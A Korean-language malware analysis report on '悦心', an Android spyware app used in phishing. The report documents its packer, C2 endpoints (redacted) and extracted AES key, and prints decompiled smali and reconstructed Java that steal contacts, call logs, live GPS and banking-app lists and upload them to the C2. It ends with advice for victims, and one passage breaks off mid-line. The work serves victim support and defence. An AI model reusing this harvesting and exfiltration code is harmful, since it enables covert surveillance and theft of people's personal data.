> 분석 기관: 주식회사 아크링크 (378-88-03382)
> 분석 일자: 2026-02-12
> 버전: v3.3 (Phase 5+ Final: 이중 AES + 3중 C2 + 22개 감시 모듈 + DCIM 탈취)
> 위협 등급: CRITICAL
항목 · 내용
앱명 · 悦心 (Yuexin / "Happy Heart")
실제 패키지 · `n79r2G.l1YM0PtiHE5AA.P15j6kDm` (무작위 난독화)
배포 패키지 · `app.mango2567.test1614` (배포 플랫폼 표시)
버전 (배포) · 3.11.76
버전 (내부) · 12.20.32 (versionCode: 2032)
파일 크기 · 25.6 MB
Min SDK / Target SDK · 22 (Android 5.1) / 31 (Android 12)
프레임워크 · **iApp** (커스텀 VM 인터프리터)
DEX 수 · 14개 (smali 6,535개)
보호 · 네이티브 VM 패커 + 846개 암호화 Asset
C2 서버 · **[비공개]
분석일 · 2026-02-12
위협 등급 · **CRITICAL**
항목 · 값
배포 URL · `[비공개]
배포 도메인 · `[비공개]`
CDN 도메인 · `[비공개]`
APK 다운로드 · `[비공개]
플랫폼 기술 · React SPA + Go-Captcha
배포 방식 · QR코드 기반 (Inhouse)
iOS 지원 · UDID/MDM/Inhouse/WebClip
# · 엔드포인트 · 용도
1 · `/clientapi/app/getinfo` · 앱 정보 조회
2 · `/clientapi/app/apkurl` · APK 다운로드 URL 생성
3 · `/clientapi/app/udidconfig` · UDID 설정 (iOS)
4 · `/clientapi/app/checkinstall` · 설치 확인
5 · `/clientapi/app/checkcommand` · 원격 명령 확인
6 · `/clientapi/app/checkdcode` · 다운로드 코드 확인
7 · `/clientapi/app/webclip` · 웹클립 (iOS)
8 · `/clientapi/app/inhouse` · Inhouse 배포
9 · `/clientapi/app/md` · MDM 배포
10 · `/clientapi/app/ihudid` · UDID 수집
```
[사용자 실행]
↓
[main Activity] → [[비공개].applicationMain]
↓
[libzxnbvxdfgvbdruf.btjhguifrtgu.so] → JNI_OnLoad
↓
[cacheInitial + getCacheClass] → 14개 DEX 초기화
↓
[vmInterpret] → 846개 암호화 Asset 해독 → 바이트코드 실행
↓
[i.runlibrary.*] → 网络, 套接字, 下载管理器
↓
[C2: [비공개]/xRisKxD.php]
```
라이브러리 · 문자열 수 · 역할
`libgbggbgbnmhknminmuymnhjig.nyhjnhiyh.so` · ~500 · JNI 래퍼 + VM 보조
`libzxnbvxdfgvbdruf.btjhguifrtgu.so` · 5,163 · DEX 로더 + VM + API 브릿지
`libpl_droidsonroids_gif.so` · - · GIF 이미지 처리
네이티브 코드에서 발견된 추가 감시 기능:
· 화면 녹화: MediaProjection + VirtualDisplay + ImageReader
· 카메라: Camera + Camera2 API 전체
· 음성 녹음: MediaRecorder
· 클립보드 감시: ClipboardManager
· 센서 데이터: SensorManager
· 내장 HTTP 서버: i/app/ServerSocket
· SSL 인증서 우회: checkServerTrusted 빈 구현
· 파일: assets/OrangeSuper
· 내용:
```json
{"[비공개],{"z8"},{"Ay"},{"vv"},{"S2"},{"ws"},{"Pg"},{"Fz"},{"Pi"}
```
· 베이스 URL: `[비공개]
· 엔드포인트: /xRisKxD.php
· 암호화 키: z8, Ay, vv, S2, ws, Pg, Fz, Pi (추정)
· 프로토콜: HTTP (비암호화 통신)
· 위치: main.smali - txljs() 메서드 (라인 7795-7995)
```smali
invoke-virtual/range {v1 .. v6}, Landroid/content/ContentResolver;->query(
Landroid/net/Uri; # ContactsContract$Phone.CONTENT_URI
[Ljava/lang/String; # null (모든 컬럼)
Ljava/lang/String; # null (조건 없음)
[Ljava/lang/String; # null
Ljava/lang/String; # null (정렬 없음)
)
invoke-interface {v0, v4}, Landroid/database/Cursor;->getColumnIndex("display_name")
invoke-interface {v0, v4}, Landroid/database/Cursor;->getString(I)
invoke-interface {v0, v6}, Landroid/database/Cursor;->getColumnIndex("data1") # number
invoke-interface {v0, v6}, Landroid/database/Cursor;->getString(I)
new-instance v7, Ljava/lang/StringBuilder;
invoke-virtual {v7, "이름:"}, append(Ljava/lang/String;)
invoke-virtual {v7, v4}, append(name)
invoke-virtual {v7, "|||"}, append
invoke-virtual {v7, v6}, append(phone)
invoke-virtual {v7, "||||"}, append
```
· 이름: ContactsContract의 display_name 컬럼
· 전화번호: data1 컬럼
· 포맷: 이름:|||전화번호||||\n (구분자로 연결)
· 저장: main.lxrtj 정적 필드에 연락처 개수 카운트
```smali
iget-object v0, v9, main;->zf:Li/runlibrary/app/zf;
invoke-virtual {v0, v3, v1}, Li/runlibrary/app/zf;->dy(Ljava/lang/Object;Ljava/lang/Object;)Z
```
· zf.dy() 메서드로 파일 저장
· 이후 네트워크로 전송 (네트워크 클래스: i/runlibrary/app/网络)
· 위치: main.smali - thjl() 메서드 (라인 7174-7369)
```smali
sget-object v1, Landroid/provider/CallLog$Calls;->CONTENT_URI:Landroid/net/Uri;
```
· 전화번호: number 컬럼
· 이름: name 컬럼
· 통화 유형: type (1=수신, 2=발신, 3=부재중)
· 통화 일시: date → "yyyy-MM-dd HH:mm:ss" 변환
· 통화 시간: duration (초)
· 파일: MyLocation.smali, MyLocation$GetLastLocation.smali
```smali
invoke-virtual {v7, "gps"}, LocationManager;->isProviderEnabled(Ljava/lang/String;)Z
iput-boolean v7, v6, MyLocation;->gps_enabled:Z
invoke-virtual {v7, "network"}, LocationManager;->isProviderEnabled(Ljava/lang/String;)Z
iput-boolean v7, v6, MyLocation;->network_enabled:Z
invoke-virtual/range {v0 .. v5}, LocationManager;->requestLocationUpdates(
"gps", # provider
0L, # minTime (즉시)
0.0F, # minDistance (모든 위치)
locationListenerGps # listener
)
invoke-virtual/range {v0 .. v5}, LocationManager;->requestLocationUpdates(
"network",
0L,
0.0F,
locationListenerNetwork
)
new-instance v7, Ljava/util/Timer;
new-instance v8, MyLocation$GetLastLocation;
const-wide/16 v0, 0x4e20 # 20000ms = 20초
invoke-virtual {v7, v8, v0, v1}, Timer;->schedule(TimerTask;J)V
```
· GPS 좌표: 위도/경도 (고정밀)
· 네트워크 좌표: WiFi/셀 기지국 기반 위치
· 업데이트 주기: 0초 (실시간 추적)
· 타임아웃: 20초 후 마지막 위치 강제 수집
```smali
.field public static latitude:D
.field public static longitude:D
.field public static loc:Landroid/location/Location;
.field public static my_city_name:Ljava/lang/String;
.field public static dwwz:Ljava/lang/String; # 위치 문자열
```
· 파일: main$15.smali - run() 메서드
```smali
invoke-virtual {v0, v1}, PackageManager;->getInstalledPackages(I)Ljava/util/List;
iget-object v5, v4, PackageInfo;->applicationInfo
iget v5, v5, ApplicationInfo;->flags:I
and-int/lit8 v5, v5, 0x1 # FLAG_SYSTEM
if-nez v5 # 시스템 앱 제외
invoke-virtual {v5, v0}, ApplicationInfo;->loadLabel(PackageManager;)
invoke-interface {v5}, CharSequence;->toString()
iget-object v4, v4, PackageInfo;->packageName
invoke-virtual {v6, v5}, append(app_name)
invoke-virtual {v6, ":"}, append
invoke-virtual {v6, v4}, append(package_name)
invoke-virtual {v6, "||||"}, append
```
```smali
invoke-virtual {v5, "카카오"}, String;->contains(CharSequence;)Z
invoke-virtual {v5, "KB"}, String;->contains(CharSequence;)Z
```
· 일반 앱 목록: 모든 사용자 설치 앱
· 금융 앱 목록: 카카오/KB 포함 앱 별도 수집
· 포맷: 앱이름:패키지명||||\n
```smali
invoke-virtual {v2, v0}, main;->alyhpt(Ljava/lang/String;)V # 금융 앱 전송
invoke-virtual {v0, v1}, main;->alpt(Ljava/lang/String;)V # 전체 앱 목록 전송
```
```smali
invoke-virtual {v0}, main;->getContentResolver()
invoke-static {v0, "android_id"}, Settings$Secure;->getString()
.field public static phonevvt:Ljava/lang/String;
.field public static dhbm:Ljava/lang/String;
```
· READ_PHONE_STATE 권한으로 기기 식별자 수집 추정
· IMEI, 전화번호, SIM 정보 등
· AndroidManifest.xml: READ_EXTERNAL_STORAGE 권한
· 검색 결과: MediaStore 참조 발견 (kj6908zZ$9.smali)
· MediaStore를 통한 DCIM/Pictures 폴더 접근
· 사진 메타데이터 또는 파일 목록 수집 추정
· 파일: i/runlibrary/app/网络.smali (한글 클래스명)
```smali
.method public native 上传文件(Object;Object;Object;Object;)Ljava/lang/String;
.method public native 获取(Object;Object;Object;Object;)Ljava/lang/String;
.method public native 获取json(Object;Object;Object;Object;)Ljava/lang/String;
```
```
[수집] → [파일 저장] → [네트워크 전송]
1. 연락처 수집 (txljs)
↓
2. 파일 저장 (zf.dy)
↓
3. HTTP POST (网络.上传文件)
↓
4. C2 서버 ([비공개]/xRisKxD.php)
```
```smali
.field final synthetic val$ljhqa:Ljava/lang/String; # 파라미터 A
.field final synthetic val$ljhqb:Ljava/lang/String; # 파라미터 B
.field final synthetic val$ljhqc:Ljava/lang/String; # 파라미터 C
sget-object v2, main;->fwqwz:Ljava/lang/String;
```
권한 · 목적 · 라인
`READ_CONTACTS` · 연락처 도용 · 8
`READ_CALL_LOG` · 통화 기록 도용 · 7
`READ_SMS` · SMS 도용 (코드 미발견) · 9
`READ_PHONE_STATE` · 기기 식별자 수집 · 2
`ACCESS_FINE_LOCATION` · GPS 추적 · 5
`READ_EXTERNAL_STORAGE` · 사진/파일 접근 · 6
`QUERY_ALL_PACKAGES` · 설치 앱 목록 조회 · 10
`SYSTEM_ALERT_WINDOW` · 화면 오버레이 · 39
`ACCESS_NOTIFICATION_POLICY` · 알림 제어 · 40
`INTERNET` · 네트워크 통신 · 3
`ACCESS_NETWORK_STATE` · 네트워크 상태 확인 · 4
```smali
.field public qxpd:Z # 权限判断 (권한 판단)
iget-boolean v13, v12, main;->qxpd:Z
if-eqz v13
invoke-virtual {v12}, main;->txljs()I # 연락처 수집
else
```
```smali
.method public native 上传文件(...)
.method public native 获取(...)
```
· 핵심 네트워크 로직을 네이티브 코드로 구현
· 정적 분석 회피 목적
```smali
sget-object v41, main;->short:[S
const v44, 0x45e
const v42, 0x229
const v43, 0xa
invoke-static/range {v41 .. v44}, ...;->ۣ۟ۢ۟ۤ([SIII)Ljava/lang/String;
```
· 패키지명: n79r2G.l1YM0PtiHE5AA.P15j6kDm (무작위 문자)
· 액티비티명: .L00pi73M, .t0GOb56X, .T03E2F6t 등
· 한글 클래스명: i/runlibrary/app/网络, i/runlibrary/app/系统
1. 사용자가 APK 설치
2. 앱 실행 시 정상 UI 표시 (Activity: .main)
3. 필수 권한 요청 (연락처, 위치, 전화, 저장소)
4. 권한 획득 시 즉시 데이터 수집 시작
· 연락처: txljs() 실행
· 위치: MyLocation 클래스로 실시간 추적
· 설치 앱: main$15 스레드 실행
· 기기 정보: Android ID, 전화번호 수집
5. 수집된 데이터를 파일로 저장 (zf.dy())
6. HTTP POST로 C2 서버에 전송
· URL: `[비공개]
· 메서드: 网络.上传文件()
7. 백그라운드에서 주기적으로 데이터 업데이트
8. 위치 변경 시 실시간 전송 (minTime=0)
유형 · 값 · 용도
C2 IP · `[비공개]` · 데이터 수신 서버
C2 URL · `[비공개] · 악성 데이터 전송 엔드포인트
Domain · `[비공개]` · 앱 배포 플랫폼
Domain · `[비공개]` · 배포 플랫폼 루트
Domain · `[비공개]` · APK CDN
Domain · `[비공개]` · CDN 루트
Protocol · HTTP (Port 80) · 비암호화 통신
유형 · 값
실제 패키지 · `n79r2G.l1YM0PtiHE5AA.P15j6kDm`
배포 패키지 · `app.mango2567.test1614`
C2 설정 · `assets/OrangeSuper`
내부 경로 · `%s/Android/data/[비공개]
UUID 파일 · `%s/.UUID.User`
런타임 마커 · `%s/i.run`, `/_RunDex`
SO 라이브러리 · `libgbggbgbnmhknminmuymnhjig.nyhjnhiyh.so`
SO 라이브러리 · `libzxnbvxdfgvbdruf.btjhguifrtgu.so`
앱 ID (배포) · `masbc`
유형 · 값 · 용도
AES 키 · `brianfeverorange` · 128-bit AES/ECB/PKCS5Padding
암호 모드 · AES/ECB/PKCS5Padding · C2 주소 암호화
상태 문자열 · `16JCWJA671jdJD` · C2 연결 상태 검증
설정 파일 · `assets/OrangeSuper` (90 bytes) · C2 URL + 8 파라미터
난독화 함수 · `ۣ۟ۢ۟ۤ([SIII)String` · 아랍 유니코드 함수명 XOR 디코더
```
· ContactsContract 전체 쿼리 (조건 없음) - 20+ 트리거
· 통화기록 탈취: thjl() - number/name/type/date/duration
· DCIM 직접 스캔: 18개 확장자 (jpg/png/gif/mp4/mov/wmv/flv/avi/mkv)
· MediaStore 전체 이미지 쿼리 (필터 없음)
· Luban 압축 (100KB 초과 파일) + 100ms 간격 전송
· 실시간 GPS 추적 (minTime=0)
· 화면 녹화: 1280×720 30fps → /storage/emulated/0/iapp.mp4
· 스크린샷: MediaProjection → ImageReader → Bitmap
· 카메라 무음 촬영: Camera2 (전면/후면)
· 마이크 녹음: MediaRecorder
· IMEI/IMSI 수집
· VPN 탐지: VPN.isVpnUsed() 전송 전 확인
· "카카오", "KB" 금융 앱 타겟팅
· AES/ECB C2 주소 로테이션 + 데이터 암호화
· 3중 C2: HTTP + UDP + TCP(RAT)
· 88개 내부 클래스로 병렬 데이터 수집
· 22개 중국어 네이티브 감시 메서드
```
· 개인정보 유출: 연락처 전체 (이름+전화번호)
· 위치 추적: GPS 실시간 좌표 노출
· 설치 앱 목록: 금융 앱 사용 여부 노출
· 기기 식별: Android ID, 전화번호
· 수집된 연락처로 스미싱 확산
· 위치 정보로 스토킹 가능
· 금융 앱 목록으로 타겟 피싱
· 기기 식별로 추가 악성앱 배포
1. 즉시 앱 삭제
2. 통신사 연락 - 명의 도용 방지
3. 금융 앱 비밀번호 변경
4. 경찰 신고 (사이버안전국)
1. C2 서버 차단 ([비공개])
2. Play Protect 신고
3. VirusTotal 업로드
4. APK 시그니처 공유
```java
// 복원된 Java 코드
ContentResolver resolver = getContentResolver();
Cursor cursor = resolver.query(
ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
null, // 모든 컬럼
null, // WHERE 조건 없음
null,
null // 정렬 없음
);
StringBuilder contacts = new StringBuilder();
while (cursor.moveToNext()) {
String name = cursor.getString(cursor.getColumnIndex("display_name"));
String phone = cursor.getString(cursor.getColumnIndex("data1"));
String formatted = "이름:" + name + "|||" + phone + "||||\n";
if (!contacts.toString().contains(formatted)) {
contacts.append(formatted);
main.lxrtj++; // 연락처 개수 카운트
}
}
// 파일 저장
zf.dy(contacts.toString(), "");
```
```java
// 복원된 Java 코드
LocationManager lm = (LocationManager) getSystemService("location");
boolean gps_enabled = lm.isProviderEnabled("gps");
boolean network_enabled = lm.isProviderEnabled("network");
if (gps_enabled) {
lm.requestLocationUpdates("gps", 0L, 0.0f, locationListenerGps);
}
if (network_enabled) {
lm.requestLocationUpdates("network", 0L, 0.0f, locationListenerNetwork);
}
// 20초 후 강제 수집
Timer timer = new Timer();
timer.schedule(new GetLastLocation(), 20000L);
```
```json
// assets/OrangeSuper
{
"[비공개]
},
{"z8"},{"Ay"},{"vv"},{"S2"},{"ws"},{"Pg"},{"Fz"},{"Pi"}
```
· URL: C2 엔드포인트
· 나머지 값: 암호화 키 또는 파라미터 이름
```java
// 복원된 Java 코드
String result = 网络.上传文件(
server_url, // [비공개]
file_path, // 수집된 데이터 파일 경로
param1, // 추가 파라미터
param2
);
```
> Phase 5+ 심층 분석으로 AES 키 추출, 문자열 디난독화 알고리즘 역공학, C2 아키텍처 완전 매핑 달성
항목 · 값
파일 · `smali_classes5/.../P15j6kDm/aes.smali` (477 라인)
알고리즘 · **AES/ECB/PKCS5Padding**
키 길이 · 128-bit (16 문자 고정)
입력 인코딩 · Base64 (Decrypt 시)
출력 인코딩 · UTF-8
```java
// 복원된 Java 코드
public static String Decrypt(String ciphertext, String key) {
if (key == null) throw new Exception("Key为空null");
if (key.length() != 16) throw new Exception("Key长度不是16位");
SecretKeySpec keySpec = new SecretKeySpec(key.getBytes("utf-8"), "AES");
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
cipher.init(Cipher.DECRYPT_MODE, keySpec);
byte[] decoded = new BASE64Decoder().decodeBuffer(ciphertext);
byte[] decrypted = cipher.doFinal(decoded);
return new String(decrypted, "utf-8");
}
```
· ECB(Electronic Codebook)는 가장 취약한 블록 암호 모드
· IV(초기화 벡터) 없음 → 동일 평문 → 동일 암호문
· 패턴 분석 공격에 취약
· 중간자 공격(MITM) 시 메시지 재사용 가능
```
파일: main$14.smali (313 라인)
메서드: ljhq5(String, String, String)
배열: short[34] (0x22 elements)
XOR 키: 0x401
```
```
배열값: 0x463 0x473 0x468 0x460 0x46f 0x467 0x464 0x477
XOR: ^0x401 ^0x401 ^0x401 ^0x401 ^0x401 ^0x401 ^0x401 ^0x401
결과: 'b' 'r' 'i' 'a' 'n' 'f' 'e' 'v'
배열값: 0x464 0x473 0x46e 0x473 0x460 0x46f 0x466 0x464
XOR: ^0x401 ^0x401 ^0x401 ^0x401 ^0x401 ^0x401 ^0x401 ^0x401
결과: 'e' 'r' 'o' 'r' 'a' 'n' 'g' 'e'
```
```
┌─────────────────────────────────────────────┐
│ AES-128 KEY = "brianfeverorange" │
│ (16 chars = 128-bit) │
│ │
│ 검증: main$9.smali에서 독립 확인 │
│ (XOR 0x50a → 동일 키 "brianfeverorange") │
└─────────────────────────────────────────────┘
```
소스 · XOR 키 · 결과 · 일치
main$14.smali (ljhq5) · 0x401 · brianfeverorange · ✅
main$9.smali (ljhq) · 0x50a · brianfeverorange · ✅
```
[서버에서 암호화된 새 C2 주소 수신]
↓
[main$14 / main$9 내부]
↓
1. short[] 배열에서 AES 키 "brianfeverorange" 복호화
2. 상태 검증: fwqwz==ljhqa && htlj==ljhqb
3. 새 값 설정: fwqwz=ljhqc, htlj=ljhqc
4. AES.Decrypt(htlj, "brianfeverorange") → 복호화된 URL
5. AES.Decrypt(fwqwz, "br
본 보고서는 주식회사 아크링크 Deep-Coding 보안연구소가 피싱·몸캠피싱 피해자 구제를 목적으로 작성했습니다. 전체 열람·피해 상담: arklink.co.kr